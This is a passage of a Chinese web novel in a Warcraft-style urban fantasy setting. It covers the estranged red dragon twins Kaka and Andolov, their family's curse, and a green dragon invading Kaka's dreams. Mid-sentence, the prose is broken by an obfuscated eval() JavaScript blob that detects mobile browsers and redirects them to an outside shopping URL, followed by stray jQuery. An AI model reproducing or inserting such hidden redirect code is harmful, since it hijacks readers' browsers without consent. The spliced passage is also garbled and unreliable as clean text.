伊森德雷,阴险卑鄙的家伙。 意外的是,此时他已全然无恙。 伤口已经完全愈合,连一丝痕迹都没留下,他甚至感到自己体内的血液流动得更加顺畅,他全身每一块肌肉每一根神经都比原来更有力更灵敏,安多洛夫愣怔地凝视着自己的拳头和手臂上隆起的青筋,他现在感觉非常好,这根本不应该是一个重伤濒死者所应该有的。 墙上歪向一边的钟显示现在的时间距他押送那条黑龙失败仅过了六个小时,所以这绝不可能是他的身体自动修复的结果,那样程度的伤,他至少要过一星期才能恢复知觉,接着再用一星期来自我治愈。 有人为他疗过伤。 不是人类使用的急救手术,也不是早已失传的治疗法术。 能将他身上的伤短时间内完全治愈,同时还令他生机焕发,这只有红龙才能做到。 而且是拥有相当力量的高位红龙。 泰坦尼亚之外,人类的居住地,居然还隐居着这样的红龙吗? 安多洛夫闻到了血腥味。 地板和墙上的血迹引起了他的注意。 空气中弥漫着的雄性龙的味道,有相当一部分是从这些血迹上散发出来的。 这不是人类的血液——或者说,虽然从生物学的角度来看,构造与人类的血液完全相同,但实际上却含有其他一些人类医学无法检测出来的成分。 只有龙类,只有对生命迹象极为敏感的红龙才能鉴别。 安多洛夫突然大步冲向那面墙,他似乎踩碎了什么东西,但他无暇顾及。 他扑到那面墙前,用指尖拭下一点已经干涸的血迹,放到嘴边。 血触及他舌尖的味蕾,巨大的冲击像电流一般贯穿他的全身。 安多洛夫·雷奥中将像尊雕塑一样站在原地。 咝……咝咝…… 歪到在杂物中的电视机播送着新闻,信号不太好,时断时续。 ……在今天早上的恶性暴力事件中逃脱的犯罪嫌疑人已被确认为特雷姆斯·哈扎德——暴风城警署和荣耀堡在刚刚结束的新闻发布会上公布了这一消息,并称该起事件是经过精心策划的、有预谋的罪行,警方提供了特雷姆斯·哈扎德的照片及相关资料,并承诺重酬能提供任何可靠情报者…… ……南区的骚乱情况并未好转,昨天傍晚又发生数起恶性伤害事件,其中一名十二岁男孩和他的妹妹几乎在骚乱中丧生,他们的父亲冒着生命危险救下了自己的孩子,现在就让我们来采访一下这位英雄父亲…… 安多洛夫转头,盯着那台画面扭曲的旧电视机。 ……现在插播一条最新消息,在南区暴力事件尚未平息、全世界通缉□□头目在逃之际,暴风城南郊的艾尔文森林国家公园又发生异相:数百公顷的森林突然发生大面积凋零现象,包括树木和花草在内的一切植物都在一瞬间大片枯萎,这使得艾尔文森林国家公园将近十分之一的面积成为不毛之地,植物学家和环境保护人士对该异常现象表示震惊,并试图尽快给出科学解释…… 咯噔—— 门口传来脚步声,有人在用钥匙开门,还有一男一女在低声交谈。 安多洛夫眼中精光一闪,在门打开前的一瞬间,回到先前的位置躺下,并飞快地抑制住自己的血液流动和心跳,令他看起来仍像是在昏迷。 “进来吧,他还没醒。”一个年轻女性的声音在说。 “你确定?他随时都可能会醒。”另一个男人的声音应道。 听到那个声音,安多洛夫感到自己全身的血液都沸腾起来,他差点从地上跳起来,一把抓住那个声音的主人看个究竟,但他狠狠地压制住这种冲动,继续无声无息地躺在地上。 “那你最好抓紧时间。”艾米一边说着,一边将怀里的数个大纸袋放下,清点着购物单,“巧克力、坚果、浓缩果汁、精肉脆皮肠、蛋白粉、运动饮料……天啊,我们几乎把那家杂货店里所有的东西都买下来。” “这些东西撑不了很久,他的食量大得惊人,尤其是受了重伤大量失血后,他急需这些高热量高糖分的食物来补充能量。”卡卡放下怀里的纸袋,靠在墙上喘气,“他人类形态下一天能吃十公斤肉,你永远猜不到他的胃口有多大。” “那你呢?” “作为一个素食主义者,我讨厌吃肉。” “那这些是什么?风蛇罐头,还有原味薯片?” “那是他最爱吃的零嘴。”卡卡笑了一下,看了躺在地上的魁梧巨人一眼,“小时候他就最喜欢吃这两样东西,每次都跟我抢,真是的,当哥哥的跟弟弟抢零嘴,说出去也不怕被人笑话……要是他的粉丝们知道了估计全都要昏倒了。” 艾米静静地看着卡卡。 一路上他说了不少兄弟俩小时候的事,而说起这些的时候,卡卡的神情很温和,毫无兄弟反目的意味,艾米甚至觉得他其实心里是很喜欢这个哥哥的。 “好吧,我去收拾一下。”卡卡费力地迈开步子走向自己的卧室。 “你还好吗?”艾米担心地问。 “还好。”卡卡耸了耸肩,“吸掉了一大片森林的生命力,我暂时还不会死、——哦,对了,等他醒了,记得让他有空的时候去做做环保,每天一次红龙吐息外加猛烈生长光环,那片森林一周之内就可以重生,生态系统也会恢复,我就不给他寄医疗账单了。” 接着他开始翻箱倒柜,手忙脚乱地准备打包走人。 “你……一定要走吗?”艾米站在门口,咬着下唇,看着他忙碌。 “一定要。”卡卡头也不抬地说,“他醒过来就会知道是谁替他疗伤,就算你对我的事守口如瓶也瞒不了他多久,我已经暴露了,再不走会被他杀掉的。” “我已经知道了。” 一个低沉浑厚的男人声音响起。 卡卡手上的动作一僵,缓缓抬起头。 安多洛夫站在门口,像座山一样填满了门框。 “为我疗伤的人是你。” 安多洛夫的光脑壳上,两根青筋绷得闪闪发亮。 卡卡当然再清楚不过了,这是安多洛夫发怒的征兆。 “好久不见,卡卡。”他慢慢地说。 见那巨人全身肌肉紧绷,斗大的拳头捏得噼啪乱响,艾米慌忙拦在卡卡面前,大声叫道:“你……你不能打他!他现在很虚弱——” 哗啦! 一声巨响,卡卡竟趁艾米对安多洛夫说话时,猛地撞碎身后的窗子,纵身跳下三十余层的高楼! “卡卡!——”艾米大叫。 “卡卡!——”安多洛夫的吼声震得墙壁都裂了口子。 他冲到窗边朝下张望,又回头瞪着艾米。 “你为什么以为我会打他?……我是他哥哥!” 他赤红色的眼瞳在喷火,艾米骇得不禁后退了两步。 看来卡卡的确治好了他,只是对上了安多洛夫的视线,艾米就觉得自己动弹不得,隐而待发的红龙光环已将整间公寓置于无形立场中,这条雄性红龙的强大超越了她所能理解的范畴。 安多洛夫似乎意识到自己的愤怒吓坏了这条雌性青铜龙,垂下眼低声说了句“抱歉”,接着也纵身跳出窗口,追了过去。 卡卡的着陆姿势很糟,他硬生生地摔在一辆车顶上,巨大的冲击力砸碎了挡风玻璃,在尖锐的警报声中,他翻身从车顶滚到地上,捂着被撞伤的左肩,拖着右腿没命地朝巷口跑去。 身后传来一声更大的声响,连地面都在微颤,卡卡当然知道这意味着什么。 “卡卡!——站住!”炸雷般的怒吼掀起的气浪推着他的背,卡卡不顾一切地奔逃,拉翻杂物,推倒垃圾箱,他想尽办法想给身后步步紧跟的人制造障碍,但这些都是徒劳的,安多洛夫就像一辆开足马力的重型装甲车,根本没东西能拦住他。 “卡卡!别再逃了!我们好好谈谈,求求你!”安多洛夫的吼声中带着几分哀求。 卡卡突然觉得很伤心。 求求你,这话艾米也说过,现在安多也这么说,好像每个人都在求他,好像他就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363258|199775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个世界的关键先生,只要他开恩赏光,一切就能变得美好。 真的是这样吗? 真的是因为他的任性、傲慢、玩世不恭和肆意妄为,才把事情弄成这样的吗? 不,他并没有错,但大家都觉得是他不好,每个人都把自己的错推到他身上,然后指着他的鼻子说“看呀,他就是这么一个坏东西,真的没法不讨厌他啊”。 所以他只能逃,逃得越远越好,逃到一个没人需要他,没人认识他的地方,因为在这样的地方,虽然没人会喜欢他,但至少也没人会讨厌他。 越是被自己重视的人厌恶,才会越痛苦。 他不想这么痛苦,那么至少让他在活着的时候享受孤独,也是过分的要求吗? 好吧,你们赢了。 他一头扎进大街。 “卡卡!!” 尖锐的刹车声响起,在安多洛夫惊怒的吼声中,一辆高速行驶的消防车撞上了卡卡,他羸弱的身躯被撞得离地飞起,像断线的风筝般跌落在二十米开外。 鲜血淙淙流淌,也就仅仅因为他是条龙,才没有当场毙命。 卡卡摸摸自己的脸,一手湿热,他以为是血,但并不是。 脚步声越来越近,他知道那个人正朝自己走来,他那军人出身的兄长,走起路来气宇轩昂,哪怕只是慢慢踱步,也带着无可阻挡的气势。 卡卡咬着牙慢慢爬着,在地上留下了一道弯弯曲曲的血痕。 “别再逃了,弟弟。” 卡卡很伤心,他努力忍着不让自己哭出声来。 两百多年没见了,不料第一眼让那家伙看到的,却是自己如此狼狈的样子。 他依然只是个街头混混,扶不上墙的烂泥,让家族蒙羞的耻辱,他依然是条没出息的龙,他没有一套能穿着去参加家族宴会的衣服,也没有自己的车和房子,没有正经职业,他什么都没有。 他感到一双有力的手把他从地上拽了起来,他那巨人般的哥哥正把他紧紧地抱在怀里,汹涌澎湃的红龙之力渗透进他的身躯,治愈着他的伤口,补充他的体力。 “走开。”卡卡用尽全力推开安多洛夫,摇摇晃晃地后退了两步,“走开,不要再靠近我,安多。” 安多洛夫欲言又止,他浓眉紧锁,看起来非常焦虑。 “不要浪费你的能量,那个青铜龙女探员需要你的协助。”卡卡把预言的事简述了一遍,“在明天下午两点半之前,你们必须把黑龙特雷姆斯杀掉,否则无数的人会死——好了,话说完了,现在我可以走了吗?” “你没有好好照顾你自己。”安多洛夫喃喃自语。 “但你看起来过得不错,不是吗?”卡卡讥诮地回应。 “我——” “我不能过得太好,用老头子的话来说,那就是我最好在死之前都一直浑身是病,到处是伤,保持那种‘奄奄一息’的状态,这样一来,他的另一个儿子就能一直处于‘巅峰状态’,为了雷奥家族,甚至是为了红龙一族,这是一个‘不得不做出的牺牲’,对吧?” “卡卡,爸爸他知道自己错了,他为曾经对你做过的事感到十分懊悔,他……”面对卡卡的冷笑,安多洛夫硬着头皮说,“他希望我能把你带回家,他不止一次说过希望能好好补偿你。” “哦,原来是这样。”卡卡故作沉思,“其实我有一个主意,不知道你怎么看——我把我的中指切下来给你,然后你带回去让他老人家心安理得?” “别这样,卡卡。”安多洛夫低声说。 “他从来就没有爱过我。”卡卡微笑着说,“又有什么立场来要求我?” “……” “他需要的只是一个优秀杰出的儿子为他争光,让他能在家族中呼风唤雨,而你,安多洛夫·雷奥,也的的确确地做到了,因为你,雷奥家族现在比其他三家都要显赫,毕竟他们再有权有势富可敌国,也终究不能和在流沙之战、燃烧的远征、太阳井之战还有诺森德冰霜王座战役中立下无数功勋的龙族英雄相提并论……他有了你已经心满意足,还要我做什么?”卡卡冷冷地盯着眼前的兄长,“你知道我有多恨你吗,安多。” “我知道。” “你夺走了我的一切,我们是孪生兄弟,但出生后不久爸爸和妈妈全部的爱都给了你。”卡卡耸了耸肩,“每一个我喜欢的女人,最后都对你投怀送抱,她们都不过是为了制造接近你的机会才会搭上我,更多的人从来就不知道我们其实是双胞胎,都只当是同一批龙蛋孵化出来的兄弟而已,用老头子的话来说,那就是‘雷奥家族有一对背负着诅咒的双生子的消息要是传出去就不好了’,对吧?” 安多洛夫哑口无言。 “你怎么不说话了呢?你不是想跟我平心静气地谈一谈吗?我现在可完全没有生气,回忆那些无聊的陈年往事早就没什么感觉了。”卡卡说,“艾米,接下来的事,你们两个看着办吧,那条黑龙身边有条绿龙是麻烦了点,不过我这个哥哥很厉害的,只要不在关键时刻走神,基本算得上是无敌。” 安多洛夫回头望着尾随而来的艾米,刚毅的脸上竟是一副求助的神情。 显然在他看来,艾米与卡卡的关系更为密切,沟通起来也没什么障碍。 那么魁梧勇猛的男人,却在自己的兄弟面前低声下气,手足无措。 “卡卡——” “如果你想替他作说客,我劝你省省吧。” “我——” 咔嚓。 卡卡突然拿起枪,对准了自己的太阳穴。 “别再胡闹了!那东西会要你的命!”安多洛夫急怒攻心,“你……你的红龙之力已经很微弱了,别再跟自己过不去!” “只要你不逼迫我,我当然不会跟自己过不去。”卡卡轻描淡写地说,“不想让我扣扳机的话,就带着这条小母龙给我滚得远远的。” “你开枪打我吧,卡卡。”安多洛夫上前走了两步,“这样你会好过一些。” “这种玩具枪的子弹对你有用吗?你的肌肉大概连加速粒子炮都射不穿吧?” “我已经卸掉我的红龙之力了,现在我的身体就跟人类的一样,我受伤的话,你多少会感觉好些的。”安多洛夫摊开双手,“哪怕只是心里好受一些也行。” 卡卡缓缓举枪对准了安多洛夫的胸膛。 “你疯了吗?他是你的亲哥哥!”艾米带着哭腔喊。 她今天已经无法再静止时间。 红龙中将一脸坦然,像尊铁塔一样站在原地不动。 兄弟俩就这样僵持着,两分钟后,卡卡丢掉了枪。 “离我远点。”丢下这句话,他蹒跚地迈开脚步,打算离开。 “你要到哪里去?” 艾米拦住他。 “让开。”卡卡不耐烦地说。 “我已经在这里设下时空结界了。”艾米说,“除非把我杀了,否则你是走不出去的。” “……” “这里的时间相对于外界是静止的,我们可以有很多时间来理清头绪。”艾米看着卡卡和安多洛夫,“我认为在制定作战计划前,先把内部问题解决比较好,否则中将先生心事重重无法正常发挥实力,到时候阻止不了那条黑龙……” “这难道要怪我吗?”卡卡一脸不可思议。 “难道不应该吗?”艾米理所当然地盯着他,“明明可以有一次开诚布公的对话机会,却因为某人一心逃避而付诸流水,最后酿成严重后果,这算是谁的责任?” 安多洛夫感激地望着艾米,卡卡看在眼里,嗤之以鼻。 “看来我这个哥哥的魅力还真是老幼通杀啊。” “看来已经达成共识了。”艾米只当没听见。 “那么,现在谁能告诉我,所谓的‘红龙双生子的诅咒’,到底是怎么回事?” 9. 第 9 章 龙族从来就没有“双胞胎”的概念。 因为一只龙蛋只能孵化出一只龙崽。 但红龙却是个例外,他们有极其微小的几率出现双生子,即一只龙蛋孵出两只龙宝宝。 从来没人知道这是为什么。 红龙的双生子出世后,和所有的新生儿一样,是世界上最美丽动人的存在,和同龄人相比,他们更加强壮聪明,同时因为双生子彼此之间奇妙的感应,还会拥有一些出众的能力。 但这种情况持续不了太久——当红龙双生子度过他们生命中的第一个五百年进入幼年期后,残酷的真相便会初露端倪。 进入幼年期的红龙体内都会产生红龙精华,这是他们日后保持强大力量和完美外表的关键,红龙精华代表着红龙与整个世界的生命循环系统的联系,它决定了一条红龙能否理解作为生命守护者的意义。 可是一对双生子的红龙精华,却不会被两人均分。 双生子的其中一位,会得到双倍的红龙精华,另一位则一无所获。 前者会越来越强大,度过青年期进入壮年期后会拥有同族难以企及的红龙之力,最终会成为红龙一族的精英人物;后者则完全相反,虽然也会慢慢成长,但青年期一过就会越来越虚弱,龙息和红龙光环等需要红龙之力支持的能力都基本无法使用,连飞行和幻化变身这类龙族通用的技能都难于掌握,甚至会丧失生育能力。 没有红龙精华的红龙,连生存都会变成一种折磨,他们绝大部分在幼年期就会夭折,极少数能熬过来的进入壮年期后也会死于生命衰竭。 这只是个时间问题。 …… 艾米从来不知道龙族还有这种秘密。 “这是红龙一族的禁忌,很少有人会知道。”卡卡懒洋洋地瘫在沙发上,“现在你明白了吧,好奇的女探员?” 他伸手指了指坐在对面的安多洛夫: “拥有双倍红龙精华的典型案例。” 接着指了指自己: “没有红龙精华的,就会长成这样——很有意思吧?” “卡卡,我……” “你没有发言权。”卡卡一眼瞪过去。 安多洛夫只得垂下头,继续默不作声地吃着卡卡和艾米买来的食物,为自己的身体补充能量。 他从来没生过病,那是因为所有的疾病都降到了卡卡头上,当他无忧无虑地在阳光下和朋友们玩耍嬉戏,或者全神贯注地接受精英教育时,他的弟弟却有大半时间躺在床上发着高烧,满口呓语。因为红龙之力太过于微弱,别说自我治愈,连体内的免疫系统都无法正常运作,一点小病都可能令卡卡处于濒死状态,当卡卡全身溃烂淌着脓水时,却没人照料他。 他在战场上冲锋陷阵,受了伤也毫不退缩,那是因为绝大部分痛楚都加倍转移到了卡卡身上,他从不知道当他被视为“龙族的战神”、“红龙军团的王牌”时,他那远在千里之外的孪生兄弟正浑身是血地蜷缩在那间阴暗的地下室里,疼得满地乱滚。 当他在健身房里满身大汗地推着杠铃,在其他雄性龙嫉羡的目光中对着镜子摆姿势时,他并不知道这个世界上还有另一条有着相同血脉的龙,正因为他的日益强壮而每况愈下——卡卡就像一个影之替身,为他承受了一切“负面效应”,当他“感觉良好”时,卡卡一定是生不如死,比如当他和女友在一起亲热、看喜剧被逗得前仰后合、被人称赞后欢欣鼓舞、甚至是连吃三袋原味薯片而心满意足的时候,卡卡都会宛若身处地狱。 这就是红龙双生子所背负的诅咒。 一个注定要为另一个牺牲一切。 这就是卡卡和他的哥哥安多洛夫。 卡卡说这些的时候语气很平静,但他越是这种不在乎、无所谓的态度,越是让艾米难过,她觉得自己心里堵得厉害,她无法相信龙族里居然会发生这种事。 所以,卡卡憎恨他的兄长。 憎恨他的父亲,憎恨他的母亲,憎恨红龙。 憎恨自己,憎恨所有人。 如果这个世界毁于一旦,那么卡卡一定会很高兴的。 但是…… “但是为什么我没有成为一个心理扭曲企图报复社会的大变态?”卡卡若有所思地点了点头,“对呀,这是为什么呢?这可真是个谜啊——安多,你真的不想吃风蛇罐头和原味薯片吗?这可是我特地为你买的呢,虽然掏钱的是她。” “……” “你怕吃了自己最喜欢的零嘴得到了快感,我又要疼得撕心裂肺了?”卡卡微笑着说,“别担心,那都是过去的事了,如果真是这样,你在大桥上被绿龙和蓝龙攻击的时候,我就已经死在这间屋子里了。” 卡卡享受着哥哥的愧疚,而安多洛夫无话可说,只能专注于面前的食物。 他曾经在一无所知的情况下伤害了卡卡,现在他的报应来了,对此安多洛夫无怨无悔,只要能让卡卡不再愤怒不再逃走,只要卡卡能原谅他和父亲,他什么都愿意做,这是他亏欠卡卡的,也是两百年来日夜折磨他的梦魇。 艾米觉得自己有必要说些什么,于是她提了个问题。 “为什么他身上被人开了两个大洞而我没事?——你去问他吧。” 安多洛夫缓缓抬起头,看了看艾米,又小心翼翼地朝卡卡的位置瞅了一眼。 “两百年前,我设法解除了我们之间的生命连接——并不是完全解除,只是很大程度上削弱了这种关联,以便让卡卡不至于受那么多苦。” 艾米睁大眼。 “父亲他……他一直瞒着我,当我过完五百岁生日后不久,他告诉我卡卡重病不治去世了……但实际上卡卡他一直在做我的替身,为我承受痛苦,我……我一直被蒙在鼓里,他就被父亲囚禁在庄园的地下室里,而我却一直不知道。”安多洛夫攥紧双拳,金属餐叉被他的巨掌捏成一团,他宽厚的肩膀微微颤抖着。 卡卡面无表情地看着他。 “直到两个世纪前,我才发现卡卡并没有死,我把他从地下室里抱出来的时候,他骨瘦如柴,全身上下……全身上下没有一处完好的地方,天知道他受了多少苦!……全家人都惊呆了,母亲哭得肝肠寸断,疯了一样地打父亲的耳光,父亲跪在卡卡面前,哀求自己的儿子原谅他,但卡卡已经什么都听不见,什么也看不到了。我动用全部的红龙之力替卡卡疗伤,但他的身体就像……就像一个……” “漏气的皮球。”卡卡淡淡地接过话,“无论你怎么努力,也是徒劳的。” 安多洛夫用手遮住眼睛,平息着心绪。 “后来我带着卡卡去求见我们的女王。” “你在她的宫殿前跪了三天三夜。”卡卡说,“这种事是红龙一族不为人知的禁忌,红龙女王本来是不会答应介入的。” “那后来是为什么?”艾米追问。 “他遇到了一个人。”卡卡说,“红龙教父维埃兰·瓦拉斯塔兹,你听说过吧?” 艾米点了点头。 “真正的大人物,泰坦尼亚南区的统治者,和北区的黑龙公爵维克多·奈法利安分庭抗礼,如今龙族中除了五大龙王之外最有权势的人——很显然他对安多的遭遇很感兴趣,提出愿意帮他向女王陛下说情,但有一个条件,那就是为其效力。”卡卡点了根烟,“后来红龙女王将安多的一小部分红龙精华注入我体内,同时削弱了我们之间的生命连接,这才救了我的命。回到家后我跟老头子大吵了一架,从此离开了泰坦尼亚,开始四处流浪,而安多退役后投入红龙教父靡下,成了那个大人物的头号心腹兼首席打手。” 安多洛夫有些吃惊地看着卡卡。 “很奇怪吗?这两百年来,你的事我了如指掌。”卡卡耸了耸肩,“我知道你在满世界找我,为了不让你得逞,我当然得留意你的一举一动——比如最近我就知道你奉命去逮捕某条为非作歹的黑龙,本来你押送他去暴风城监狱,已经非常接近我的栖身之地,我应该赶紧搬家才是,但我觉得暴风城这么大,我的红龙之力又这么微弱,你也不会经过南区,怎料——” 他不满地瞥了艾米一眼。 “怎料撞上了一条不按理出牌的热血小母龙,坏了我大事!” “谢谢你,艾米小姐。”安多洛夫由衷地向她致谢,“谢谢你,如果不是因为你,我大概永远也找不到卡卡了。” “好了,你们慢慢增进感情吧,我就不打扰了。”卡卡起身,拍拍屁股,“现在让我好好静一静,你们自便,讨论作战计划又或者是XXOO都可以,别弄得太大声就可以了。” 说着他走进卧室,砰的一声关上门。 “他很疲惫。”艾米低声说,“他……他为了替你治伤差点……” “我知道。”安多洛夫叹了口气,“我知道,他就是这样的人。” 是的,艾米心想。 卡卡隐姓埋名躲在人类的城市里,避免与其他龙族成员接触。 为了不泄露自己的行踪,他从不使用自己的气味划地为界。 他竭尽所能避开他的哥哥,但却一直在暗中搜集他的消息。 他有足够的理由愤世嫉俗,但他还是救了那两个孩子。 他完全可以袖手旁观,但他还是宁愿自己疼得死去活来,为他的哥哥疗伤。 他口口声声说对即将到来的灾难毫无兴趣,但还是把特雷姆斯的情报给了她。 “我想,也许卡卡他并不讨厌你。” 安多洛夫惊愕地望着艾米。 “如果可能,他也希望自己足够优秀,能和你并肩而立,只是……他永远做不到,因为第五百个生日过后,他失去了一切机会。”艾米说,“他成了你的替身,为你承担了那么多痛苦,如果他真的恨你,一旦得到自由,一定会不顾一切地想置你于死地,哪怕他力量很弱,但如果他想利用你的愧疚伺机下手,也一定能得手的,对不对?” “如果他想杀了我,我不会反抗的。”安多洛夫说。 两人沉默了片刻,艾米忽然想起了什么,朝他伸出手。 “我叫艾米,青铜龙,艾泽拉斯世界安全局的见习探员。” 安多洛夫正欲起身,她忙道:“你——坐着就可以了。” 他握住艾米的手,轻轻地摇了摇,接着坐直身子,自我介绍道: “我叫安多洛夫·雷奥,退役军人,红龙教父维埃兰·瓦拉斯塔兹先生的助手——谢谢你帮助我,否则我完全不知道该怎么办,卡卡见到我就会不顾一切地逃走。”他一脸挫败地说,“你……你真的觉得我会打他吗?” “你像辆坦克四处碾压的样子真的很吓人。” “我……我只是太激动了。”安多洛夫垮下肩膀。 “卡卡说的没错。” “什么?”他抬起头。 “你的食量的确很惊人。”艾米说,“我们刚刚买回来的东西已经快被你吃光了。” 安多洛夫有些不好意思地抓了抓头。 “安多洛夫中将,有一件事情,我想和你谈谈。”艾米深吸了口气,抓住机会开口。 “关于特雷姆斯和明天的地震吗?”安多洛夫收起笑容,回复至一贯的威严肃穆。 “是……是的。”那光头中将突然像变了一个人,艾米感到压力倍增,相比之下,还是那个讨好卡卡,眼巴巴地盼着弟弟原谅自己的笨哥哥比较可爱。 “我知道逮捕特雷姆斯并把他送进监狱是红龙女王陛下委任于您的使命,但是——” 安多洛夫站起身,头顶几乎快触到天花板。 “即使明天没有大地震,特雷姆斯和伊森德雷也必须死。” 他骤然而起的杀气令艾米不禁打了个寒颤。 “他们已经彻底越过了底线,如果不除掉他们,这座城市要面临的灾难,也许远不止一场大地震——他们的同伙蓝龙卡雷苟斯已经被我杀了,艾米探员,你从未来带回的消息替他们划下了死亡期限,和我的任务并无冲突。” 艾米偷偷松了口气。 “谢谢您。” “既然卡卡决定要阻止这场灾难,我 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“他身边有一条绿龙!”艾米低叫,“绿龙能在各种生物的梦境之中穿越,他们能够轻而易举地找到任何人!” “我没料到特雷姆斯居然会和绿龙联手,这完全是我的疏忽。”安多洛夫沉声道,“那条绿龙的能力很强,比特雷姆斯还要危险。” 艾米看了看表。 “好在现在离天黑还有几个小时,在他侵入人们的梦境前,我们还有些时间——” 呼噜……呼噜…… 鼾声从卧室里传来。 “……”艾米和安多洛夫大眼瞪小眼。 下一秒,他们不约而同地跳起来朝卡卡的卧室冲去。 …… 卡卡感到自己在不断下坠。 四周充斥着柔和的绿光,脚下的无底深渊像怪兽张开的嘴。 他很疲惫,真的很想就这样静静地待在这里。 卡卡闭上了眼。 醒醒,卡卡。 不知过了多久,他听到有人在对他说话。 那个声音层层叠叠,像被投入石块的池水,伴随着难以辨别的低语,一点一点地将他包围。 卡卡睁开眼,发现自己正躺在一片柔软的草地上。 天空很晴朗,蓝得一尘不染,阳光暖暖地晒在他身上,风轻抚着他的脸颊。 他站起身,发现身边有一群小孩子在玩耍。 “我爸爸变成龙后比你爸爸要大!” “才怪!我爸爸变成龙是最大的!” “我爸爸的尾巴有这么长!” “我爸爸的翅膀展开有这么宽!” 看着那群小毛孩争得面红耳赤,卡卡忍不住笑了。 “你好,卡卡。” 他转过身,看到了一个身着白色正装的金发男子。 这个人比他高出半个头,五官像仔细雕琢过的艺术品一样无可挑剔,全身上下找不出一丝瑕疵。 那双绿色眼瞳美得惊魂夺魄,就像一座永远走不出来的迷宫,如梦似幻。 “我叫伊森德雷,绿龙一族的成员。”白衣男子自我介绍着。 “你果然找到我了。”卡卡似笑非笑地说,“你难道不怕我哥哥杀了你?” 绿龙笑了,他笑的时候整个人都在发光。 “我曾经和你的哥哥接触过,无意中发现了一些秘密,一些藏在内心深处的回忆……所以我真的对你很好奇,卡卡。” “你闯入我的梦境,想要怎样?”卡卡冷冷地说,“对我进行精神污染?还是让我永久沉眠?让我发疯?还是把我脑子里的东西洗得一干二净?” “你把我想得太坏了。”绿龙无辜地摊开手。 “我劝你与其把心思浪费在我身上,不如好好想想应对之策,你们从安多手上抢人,已经把他惹毛了,他会把你们全杀掉。”卡卡盯着那条绿龙,“你该不会以为用我来要挟他就能吃得开吧?他是我哥哥,但他——” “但他还是个军人,非常优秀,并且极有原则的那种。”绿龙接过话,“其实我也不认为这是个好主意,所以我不会这么做。” 伊森德雷微微侧身,他身后凭空出现了一栋豪宅。 “卡卡,你还认得这座房子吗?” 卡卡本已决定无论这条阴险的绿龙说什么做什么给自己看什么,都不予理睬,然而当他看到三人高的雕花大门顶端的纹饰时,还是不由自主地上前,用颤抖的手轻轻抚摸冰冷的铁栏。 他的双手和双脚,都不像是自己的。 “你!……”卡卡愤怒地剜了那绿龙一眼。 “那个纹饰,是雷奥家族的徽记吗?”绿龙明知故问,“卡卡,这大概是你的家吧?” “……” “那里面住着什么人?你的双亲?你的兄长?成群的仆人?卡卡,你知道吗?你可以把市井无赖的言谈举止模仿得惟妙惟肖,却仍旧掩不住与生俱来的贵族特质呢——你来自一个显赫的红龙家族,按理应该得到任何你想要的,可是你为什么把自己弄成这样?” 伊森德雷的低语萦绕在卡卡耳边,成了挥之不去的魔咒。 “你在惧怕什么,卡卡?” “闭……闭嘴!……” “你在害怕。你害怕抛弃你的父亲,害怕一看到你就状若癫狂的母亲,害怕一天比一天强壮的哥哥,害怕那群势利眼的亲戚和仆人……” 你害怕黑暗的小屋。 害怕一个人独处。 害怕下一次不知何时来袭的痛苦。 “你胡说!我不怕!我什么都不怕!我从来就没怕过他们!”卡卡咆哮着,“他们对我不好,他们欠了我,该害怕的是他们!……” “是吗?”伊森德雷微笑着说,“那么证明一下吧。” 明知这条阴险的绿龙在算计他,明知这是个虚幻的陷阱,卡卡还是义无反顾地用力推开铁门,迈向那栋装满了黑暗回忆的城堡。 10. 第 10 章 议事厅里有很多人,他们衣冠楚楚,都是在外有头有脸的人。 当卡卡推开沉重的大门,闯入雷奥家族会议现场时,没人抬起头来看他,就好像他根本不存在。 “这里应该有不少你认识的人吧?”伊森德雷不知什么时候出现在他身边。 环状大会议桌的中央有一个石台,上面摆着一只摇篮。 两个襁褓中的婴儿躺在摇篮里,生得一模一样,都有着红宝石似的眼瞳。 左边那个看上去比较活泼,小胳膊小腿不住地动来动去,好奇地看着这个陌生的世界。 右边那个则安静得多,半闭着眼,有些无精打采。 会议的目的,就是决定这对红龙孪生子的命运。 雷奥家族必须作出一个艰难痛苦的抉择。 双生子中有一个会在进入幼年期后,因为没有红龙精华而夭折,为了不让这个不幸的新生儿遭受折磨,为了避免亲人们因此而承受悲痛,也为了不让顺利长大成人的那一个因为内疚和自责而背上枷锁—— 两个孩子只能留下一个。 白发苍苍、德高望重的家族长者如是说。 原本一片死寂的议事厅犹如巨石入水,一下子激起轩然大波。 这是什么意思?难道要我亲手杀掉自己的孩子?! 一个中年男子暴跳如雷。 “那位想必是令尊了?”绿龙低声问。 卡卡沉默不语。 不然还能怎样?这个孩子注定活不下来,提前结束他的痛苦有什么不对? 是啊,反正这又不是你的孩子!说得真轻巧啊! 双生子的父亲双眼圆瞪,咬牙切齿,他怒视着这些亲戚,就好像他们都是迫不及待要害死他儿子的恶魔,他的妻子死死地抱住他,他的两个兄弟也按着他的肩膀,生怕他一时失去理智做出什么惊人之举。 五百年!从现在到进入幼年期他们还有五百年要过,整整五个世纪,我们可以竭尽所能地爱他们,凭阿莱克斯塔萨女王的荣光起誓,他们已经降生了,都是鲜活的小生命啊! 投入的爱越多,失去时所遭受的痛苦也就越大,你怎么就不明白呢? 孩子的父亲情绪激动,与几位向来就不对盘的亲戚吵得不可开交。 “你的父亲很爱护你啊。”伊森德雷饶有兴致地看着议事厅里的混乱,“为了替你争夺生存权,不惜变成斗士得罪所有人,这可是父爱的体现呀。” 卡卡冷哼一身,不予置评。 有人轻咳了一声,议事厅里顿时安静下来。 家族元老从座位上站了起来,众人一看便知他已作出了决定。 双生子的父亲用哀求的目光望着他那威严的祖父。 红龙一族的双生子所背负的诅咒,是不可能解除的,这是我们的女王陛下从泰坦那里得到祝福时便融入红龙血脉的烙印,是我们作为生命守护者所必须承受的试炼,这是必须作出的牺牲。 老人扫了几乎快从椅子上跳起来的孙子一眼,后者心急如焚,但终究不敢发作。 你们每个人都振振有词,可你们真正明白红龙双生子的涵义吗? 众人面面相觑,无一应答。 